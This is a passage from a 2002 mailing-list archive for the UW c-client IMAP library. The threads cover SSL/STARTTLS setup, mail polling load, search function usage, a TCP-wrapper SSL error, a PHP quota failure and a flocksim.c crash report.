(Exim 3.34 #4) id 16TlFv-00080Y-00; Thu, 24 Jan 2002 09:53:35 -0500 Message-Id: Date: Thu, 24 Jan 2002 09:52:12 -0500 Reply-To: zpt r@developerschoice.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: Mark Crispin , Jeff Breitner Cc: c-client Interest List Subject: Re: STARTTLS clarification In-Reply-To: References: Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday 23 January 2002 06:28 pm, Mark Crispin wrote: > > The primary advantages of stunnel are: > 1) easier to avoid generating a new key for each session. > 2) SSL code in only one daemon. > I think this would be most applicable to spop3, where people like to try to pop their mail every 60 seconds. The constant key generation could present an interesting loading of the machine, especially on those older machines favoured for small-enterprise mail systems. > > This is understandable. Why is your virtual domain support dependent upon > where SSL is located? I would expect that most of the virtual domain > support would be in a modified env_unix.c and possibly also tcp_unix.c. > You're correct, the majority of the changes are in env_unix.c. If my fading memory serves me, I also made some changes to the imap daemon code to help assure that the common user for virtual domains stays within the user's mail space and can't wander around. -- Jeff Breitner Lead System Administrator (come to think of it, I'm the only system administrator) Developers Choice LLC 313-291-5980 x202 From pinedev@shivax2.cac.washington.edu Thu Jan 24 12:53:23 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Jan 2002 12:53:21 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OKrH7i015595 for ; Thu, 24 Jan 2002 12:53:18 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Jan 24 12:53:11 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0OKrBPs027142; Thu, 24 Jan 2002 12:53:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OKqBEr029170; Thu, 24 Jan 2002 12:52:11 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OKbrw6142014 for ; Thu, 24 Jan 2002 12:38:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Jan 24 12:37:53 2002 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0OKbqAZ009389 for ; Thu, 24 Jan 2002 12:37:52 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Jan 24 12:37:52 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0OKbpmT026156 for ; Thu, 24 Jan 2002 12:37:52 -0800 Message-Id: Date: Thu, 24 Jan 2002 12:22:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jeff Breitner Cc: c-client Interest List Subject: Re: STARTTLS clarification In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Jan 2002 09:52:12 -0500, Jeff Breitner wrote: > > The primary advantages of stunnel are: > > 1) easier to avoid generating a new key for each session. > > 2) SSL code in only one daemon. > I think this would be most applicable to spop3, where people like to try to > pop their mail every 60 seconds. The constant key generation could present > an interesting loading of the machine, especially on those older machines > favoured for small-enterprise mail systems. That's correct, although I've seen IMAP abused that way too, and I've seen the polling interval as low as 5 seconds(!). The key word in all of this is "abuse". A server can ameliorate some of the harm from this abuse. Nevertheless, this type of client polling for new mail is abuse. Within the scope of client polling, IMAP with a single static session per polled mailbox doing a periodic command (even a NOOP) is far more scalable than a regular POP3 (or IMAP!) poll of "open session, check mailbox, close session". At a higher scaling level, you need to abolish client polling entirely in favor of a server-initiated delivery notification protocol. We're crossing that boundary now. IMHO, client based polling is alright for a user's primary INBOX or other mailboxes with frequent activity. The cost of keeping a static IMAP session is probably lower than the cost of creating one when activity occurs. For monitoring secondary mailboxes with less activity, delivery notifications are preferable. I don't know how to define the boundary between the two cases other than a gut feeling; certainly a mailbox which gets 100+ messages/day should have a static session, and one which gets 1 message/day should be notified. But that's like saying "I can't define obscenity but I know it when I see it"... From pinedev@shivax2.cac.washington.edu Sat Jan 26 20:07:42 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 26 Jan 2002 20:07:41 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0R47e7i025333 for ; Sat, 26 Jan 2002 20:07:40 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Jan 26 20:07:27 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0R47QPs028821; Sat, 26 Jan 2002 20:07:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0R45fAf021492; Sat, 26 Jan 2002 20:05:41 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0R42Nw6022014 for ; Sat, 26 Jan 2002 20:02:23 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Jan 26 20:02:22 2002 -0800 Received: from samera.com ([216.219.31.18]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0R42Epj001280 for ; Sat, 26 Jan 2002 20:02:18 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id g0R427R10695 for ; Sun, 27 Jan 2002 01:02:07 -0300 Message-Id: <3C537BBC.7060706@samera.com.py> Date: Sun, 27 Jan 2002 01:02:04 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: mail_search_full MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm trying to make a search in IMAP4 using the function mail_seach_full(). I readed here: http://www.washington.edu/imap/documentation/internal.txt.html that if you want to use search in IMAP4 you have to use the function mail_search_full() and not mail_search(). And that I not use mail_criteria() with mail_search_full(). Is this correct? Where can I found some examples on how to use this function? Thanks Oliver -- Oliver Schulze L. oliver@samera.com.py Asuncion-Paraguay -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 28 16:34:43 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Jan 2002 16:34:42 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0Yf7i004726 for ; Mon, 28 Jan 2002 16:34:41 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Jan 28 16:34:34 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0YYmT014434; Mon, 28 Jan 2002 16:34:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0XgKT022924; Mon, 28 Jan 2002 16:33:42 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0Unw6135986 for ; Mon, 28 Jan 2002 16:30:50 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Jan 28 16:30:48 2002 -0800 Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0Umpj004765 for ; Mon, 28 Jan 2002 16:30:48 -0800 Received: from [192.168.1.8] ([66.122.112.171]) by mta4.rcsntx.swbell.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GQO00AIXC3BN6@mta4.rcsntx.swbell.net> for c-client@u.washington.edu; Mon, 28 Jan 2002 18:30:47 -0600 (CST) Message-Id: Date: Mon, 28 Jan 2002 16:30:47 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: Unable to accept SSL connection In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to figure out what this error in my maillog means: Jan 28 16:22:30 antsclimbtree imapd[82031]: Unable to accept SSL connection, host=UNKNOWN I'm using a self-signed certificate right now, so perhaps that's all this means. The client, which is Outlook Express set to use SSL, doesn't complain after the initial complaint about the certificate not being from a proper authority. Thanks. -- Mark Edwards Engineer Mr. Toad's San Francisco -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 28 16:48:31 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Jan 2002 16:48:31 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0mT7i014380 for ; Mon, 28 Jan 2002 16:48:29 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jan 28 16:48:22 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0mMmT014788; Mon, 28 Jan 2002 16:48:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0lcEr029090; Mon, 28 Jan 2002 16:47:42 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T0k7w6114342 for ; Mon, 28 Jan 2002 16:46:07 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Jan 28 16:46:07 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0k6AZ007408 for ; Mon, 28 Jan 2002 16:46:06 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.12]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0k5MP028164; Mon, 28 Jan 2002 16:46:05 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T0jkJU013830 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Mon, 28 Jan 2002 16:46:01 -0800 Message-Id: Date: Mon, 28 Jan 2002 16:45:40 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: Unable to accept SSL connection In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 Jan 2002, Mark Edwards wrote: > I'm trying to figure out what this error in my maillog means: > Jan 28 16:22:30 antsclimbtree imapd[82031]: Unable to accept SSL connection, > host=UNKNOWN That error message means that OpenSSL's SSL_accept() routine failed. I've never seen this before. The host=UNKNOWN part is very suspicious. It means that getpeername() failed on stdin (file designator 0), which is wierd since it should return the IP address of the other end. How is imapd being invoked? Is it being invoked directly from inetd, or is there something between it and the network? > I'm using a self-signed certificate right now, so perhaps that's all this > means. The client, which is Outlook Express set to use SSL, doesn't > complain after the initial complaint about the certificate not being from a > proper authority. This problem has nothing to do with a self-signed certificate. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Jan 28 17:04:49 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Jan 2002 17:04:49 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T14m7i013498 for ; Mon, 28 Jan 2002 17:04:48 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Jan 28 17:04:42 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T14fPs017567; Mon, 28 Jan 2002 17:04:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T13lkG017662; Mon, 28 Jan 2002 17:03:48 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T12Iw6168712 for ; Mon, 28 Jan 2002 17:02:18 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Jan 28 17:02:18 2002 -0800 Received: from mrtoads (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T12Ipj012731 for ; Mon, 28 Jan 2002 17:02:18 -0800 Received: from mrtoads (mrtoads.com [66.122.112.170]) by mrtoads (8.10.2/8.10.2) with ESMTP id g0T129N03575; Mon, 28 Jan 2002 17:02:09 -0800 (PST) Message-Id: Date: Mon, 28 Jan 2002 17:02:09 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Unable to accept SSL connection In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is being invoked via FreeBSD 4.4's inetd, which has tcp wrapper functionality built-in. I don't think there's any way to disable it. However, my hosts.allow file is set to imapd : ALL : allow so it shouldn't be blocking access at all. However, I do know that the readme files say not to use tcpwrappers with ipop3d and imapd. Perhaps I should run imapd and ipop3d as daemons rather than from inetd? Does this error message indicate that imapd traffic is happening unencrypted? Thanks. On Monday, January 28, 2002, at 04:45 PM, Mark Crispin wrote: > On Mon, 28 Jan 2002, Mark Edwards wrote: >> I'm trying to figure out what this error in my maillog means: >> Jan 28 16:22:30 antsclimbtree imapd[82031]: Unable to accept SSL >> connection, >> host=UNKNOWN > > That error message means that OpenSSL's SSL_accept() routine failed. > I've never seen this before. The host=UNKNOWN part is very suspicious. > It means that getpeername() failed on stdin (file designator 0), which > is > wierd since it should return the IP address of the other end. > > How is imapd being invoked? Is it being invoked directly from inetd, or > is there something between it and the network? > >> I'm using a self-signed certificate right now, so perhaps that's all >> this >> means. The client, which is Outlook Express set to use SSL, doesn't >> complain after the initial complaint about the certificate not being >> from a >> proper authority. > > This problem has nothing to do with a self-signed certificate. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > From pinedev@shivax2.cac.washington.edu Mon Jan 28 18:08:23 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Jan 2002 18:08:23 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T28L7i000023 for ; Mon, 28 Jan 2002 18:08:22 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 28 18:08:16 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T28GPs019002; Mon, 28 Jan 2002 18:08:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T1ujEr013718; Mon, 28 Jan 2002 17:56:45 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g0T1tKw6132810 for ; Mon, 28 Jan 2002 17:55:20 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jan 28 17:55:19 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T1tJAZ022647 for ; Mon, 28 Jan 2002 17:55:19 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T1tIUC018611; Mon, 28 Jan 2002 17:55:18 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g0T1tILm024416; Mon, 28 Jan 2002 17:55:18 -0800 Message-Id: Date: Mon, 28 Jan 2002 17:52:21 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: Unable to accept SSL connection In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 28 Jan 2002 17:02:09 -0800, Mark Edwards wrote: > It is being invoked via FreeBSD 4.4's inetd, which has tcp wrapper > functionality built-in. I don't think there's any way to disable it. I have never seen SSL IMAP (port 993) service work with TCP wrappers. Regular IMAP (port 143) service seems to work OK, even if you subsequently do a STARTTLS command. > Perhaps I should run imapd and ipop3d as daemons rather than from inetd? No, because imapd and ipop3d don't run as separate daemons. > Does this error message indicate that imapd traffic is happening > unencrypted? That error message is a fatal error. That server session died forthwith. From pinedev@shivax2.cac.washington.edu Mon Feb 4 23:29:29 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Feb 2002 23:29:26 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g157TP7i028268 for ; Mon, 4 Feb 2002 23:29:25 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Feb 04 23:29:19 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g157TJPs008831; Mon, 4 Feb 2002 23:29:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g157SeAf006334; Mon, 4 Feb 2002 23:28:41 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g157Q0Mr031002 for ; Mon, 4 Feb 2002 23:26:02 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Feb 04 23:26:00 2002 -0800 Received: from manas.kg (linux.manas.kg [212.42.108.3]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g157PnAZ026711 for ; Mon, 4 Feb 2002 23:25:53 -0800 Received: from manas.kg (paranoia.manas.kg [212.42.108.7]) by manas.kg (8.9.3/8.9.3) with ESMTP id NAA28465 for ; Tue, 5 Feb 2002 13:49:22 +0500 Message-Id: <3C5F88FB.50109@manas.kg> Date: Tue, 05 Feb 2002 12:25:47 +0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Roman Serbski To: c-client@u.washington.edu Subject: imap_get_quota and c-client MIME-Version: 1.0 Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi I'm sorry if this question is off topic but I really don't know where to get help from. I have troubles getting imap_get_quota function to work with PHP 4.1.1. I think my problem has something to do with version of c-client, I looked through c-client mailist archive and found rather old discussion about GETQUOTAROOT (there was some patch too, but I'm not sure if it has something in common with my problem). Here is the small PHP program to get getquota response from IMAP server (this example was taken from PHP manual): And here is the error I get: Warning: c-client imap_getquota failed in /usr/local/apache/htdocs/b.php on line 4 I compiled PHP with imap support (using c-client-2001 compiled with SSL support), IMAP server is Courier-IMAP 1.4.2. If I telnet to mail server and use getquota command everything is fine - Courier-IMAP returns my quota usage and quota size. I also checked imap_get_quota PHP manual - it says: This function is currently only available to users of the c-client2000 library. Could it be the cause of my problems since I use c-client 2001? Any help would be greatly appreciated. Kind regards, Roman -- 11:00AM up 2:31, 3 users, load averages: 0.24, 0.20, 0.14 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 7 02:18:38 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 02:18:37 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17AIa7i014543 for ; Thu, 7 Feb 2002 02:18:37 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Feb 07 02:18:34 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17AIXmT012301; Thu, 7 Feb 2002 02:18:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17AHikG019716; Thu, 7 Feb 2002 02:17:44 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17ADaMr080728 for ; Thu, 7 Feb 2002 02:13:36 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 07 02:13:35 2002 -0800 Received: from addleston.eee.nott.ac.uk (addleston.eee.nott.ac.uk [128.243.70.70]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17ADYpj018184 for ; Thu, 7 Feb 2002 02:13:35 -0800 Received: from perry (eee.nottingham.ac.uk) [128.243.70.75] by addleston.eee.nott.ac.uk with smtp (Exim 1.82 #1) id 16YlYx-0003lg-00; Thu, 7 Feb 2002 10:13:55 +0000 Received: from matt by eee.nottingham.ac.uk with esmtp (Exim 1.82 #1) id 16YlYb-000645-00; Thu, 7 Feb 2002 10:13:33 +0000 Message-Id: Date: Thu, 7 Feb 2002 10:13:33 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Clark To: Subject: c-client library error - question? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: Matthew Clark X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear list, I am using c-client for an automated email database but I keep running into a c-client fatal error and I am unsure how to handle it, I am also worried that c-client does not handle the error gracefully- uname -a SunOS norton 5.7 Generic sun4m sparc SUNW,SPARCstation-10 c-client built with os-type gso. mail system Exim, inbox on NFS mounted disk There error I run into originates in imap/src/osdep/flocksim.c in master() and is the "default" event in the switch statement .... default: /* random lossage */ s = "Unknown event from execution process: "; sprintf (t = (char *) fs_get (strlen (s) + strlen (tmp) +1),"%s:%s", s,tmp); fatal (s); } This calls mm_fatal and leads to an undignified end to my program. There seems to be a problem with the error message reporting because the string mm_fatal gets looks like this "Unknown event from execution process: :Testing c-client for reading mail"-- The second string "Testing.." is incorrect and appears only in a printf statement in the main() of my program- leading me to believe that the error results from tmp pointing to the incorrect location. The circumstances of the error are also difficult- my program work continually through development but start throwing this error when I used cron to run the program- It appears once the error starts it persists for "a while" through several different instances of my program before suddenly disappearing- The bit of my code that provokes the error looks like this pmessage("Now I am going to copy a message to %s\n",message_store); sprintf(tmp,"%d",i); err=mail_copy(in,tmp,message_store); Any hints / clues or suggestions? c-client causes a core dump at this point and the intermittant nature of the fault and complicated nature of c-client is making debugging rather difficult. Thanks for any help matt > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 7 05:19:53 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 05:19:53 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17DJqTM003101 for ; Thu, 7 Feb 2002 05:19:52 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 07 03:42:01 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17Bg0mT014257; Thu, 7 Feb 2002 03:42:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17BfQEr045336; Thu, 7 Feb 2002 03:41:26 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17BdZMr070878 for ; Thu, 7 Feb 2002 03:39:35 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Feb 07 03:39:34 2002 -0800 Received: from matrix.mediasolv.com ([203.115.19.131]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17BdRWn018214 for ; Thu, 7 Feb 2002 03:39:33 -0800 Received: from mediasolv.com ([192.168.2.17]) by matrix.mediasolv.com (8.11.3/8.11.3) with ESMTP id g17Bcsv01113 for ; Thu, 7 Feb 2002 17:38:54 +0600 Message-Id: <3C626769.DA617519@mediasolv.com> Date: Thu, 07 Feb 